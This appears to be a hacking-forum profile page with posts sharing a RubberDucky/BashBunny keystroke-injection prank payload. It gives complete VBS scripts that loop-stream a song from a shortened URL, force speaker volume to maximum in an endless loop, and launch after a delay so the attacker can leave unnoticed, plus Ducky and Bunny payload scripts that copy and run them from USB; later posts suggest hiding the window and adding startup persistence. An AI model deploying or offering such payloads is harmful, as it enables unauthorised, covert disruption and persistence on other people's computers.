Jump to content


Active Members
  • Content Count

  • Joined

  • Last visited

About Sene0

  • Rank

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. I have found an old rickroll and modified it a little, similar to the exfiltration of documents payload here. It's made for a RubberDucky but I guess it works just as fine in the BashBunny. I didn't try it on the bunny yet tho. You need your Ducky in the twin duck mode, so it functions as STORAGE and HID. Name it "_" and then put a few files on it. With the Ducky it works in a few seconds for me. rick.vbs # This file downloads a song from a given source. I just downloaded some songs from youtube, uploaded them to a Dropbox and shortened the download link, to execute it maybe 1ms faster. The example given here will download "Can't touch me". While true Dim oPlayer Set oPlayer = CreateObject("WMPlayer.OCX") oPlayer.URL = "https://tinyurl.com/yyac7cx7" oPlayer.controls.play While oPlayer.playState <> 1 ' 1 = Stopped WScript.Sleep 100 Wend oPlayer.close Wend volup.vbs # This file will constantly set the volume of the speakers to 100%. Even if the user tries to lower it, it will be raised to maximum again. Also it slows the interaction of the user with the computer. do Set WshShell = CreateObject("WScript.Shell") WshShell.SendKeys(chr(&hAF)) loop d.vbs # This waits for a while so it's safe for you to walk away and don't have the computer start playing music while you're still at it which would be suspicious. Then it executes the other two scripts and starts playing. WScript.Sleep 10000 CreateObject("WScript.Shell").Run "rick.vbs" CreateObject("WScript.Shell").Run "volup.vbs" And finally I have two versions for the payload.txt, one with cmd and the other with powershell. payload_cmd.txt REM Can't touch me REM Target: Windows 10, Author: Sene0 REM Props to DarrenKitchen, bobflem REM Starts cmd in 1 line with inverted colors DELAY 2000 GUI r DELAY 200 STRING cmd /Q /D /T:7F /F:OFF /V:ON /K mode con:cols=80 lines=1 ENTER DELAY 200 STRING copy E:\*.vbs %tmp% ENTER DELAY 200 STRING %tmp%\d.vbs ENTER DELAY 200 ALT F4 payload_powershell.txt REM Can't touch me REM Target: Windows 10, Author: Sene0 DELAY 1000 GUI r DELAY 100 STRING powershell ".((gwmi win32_volume -f 'label=''_''').Name+'d.vbs')" ENTER If you want to quit the music from playing, you will have to sign out. That's the point where you could improve it, to run even as the user signs out in the background, or set it as a Startup Process, similar like crontab for linux. I'm sure there's more to improve and I'd love to hear how.
  2. check your other question about that, maybe it helps
  3. As I'm currently studying in a foreign country whose keyboard layout is somewhat problematic, I also thought about something that changes the keyboard layout to US, to make it universal. The script for that could be put on the Switch folder separately and executed via a bash script or somehow like this via the HID mode: ATTACKMODE HID QUACK keyboard_layout_change.txt Furthermore I thought about a way to conceal the payload execution some more. If you use the payload_cmd.txt version and you manage to make it a one-liner, you could use this to start the cmd prompt minimized yet still execute the payload cmd /C "start /MIN cmd /C command_here"
  4. Take a look at this. It's written for a RubberDucky, but I'm sure you could adapt it to the BashBunny really fast. Maybe something like this: LED R 100 ATTACKMODE HID STORAGE Q GUI r Q DELAY 200 Q STRING cmd /Q /D /T:7F /F:OFF /V:ON /K mode con:cols=80 lines=1 Q ENTER LED B 100 Q DELAY 200 Q copy E:\*.vbs %tmp% Q ENTER Q DELAY 200 Q STRING cd %tmp% Q ENTER Q DELAY 200 Q STRING d.vbs Q ENTER Q DELAY 200 Q ALT F4 LED G Of course you would have to modify it according to your needs plus I'm sure it can be improved, but it might be a start for you. You can quit the music from playing by signing out/restarting the computer. So you might adapt the script, to play the music even when you're signed out and add it as a Startup Process, so even that won't work. Also you might want to move the files to another directory than %tmp%, so the fun doesn't stop when you're clearing the temporary data.
  5. Have you tried this? Worked for me on windows in a few seconds
  • Create New...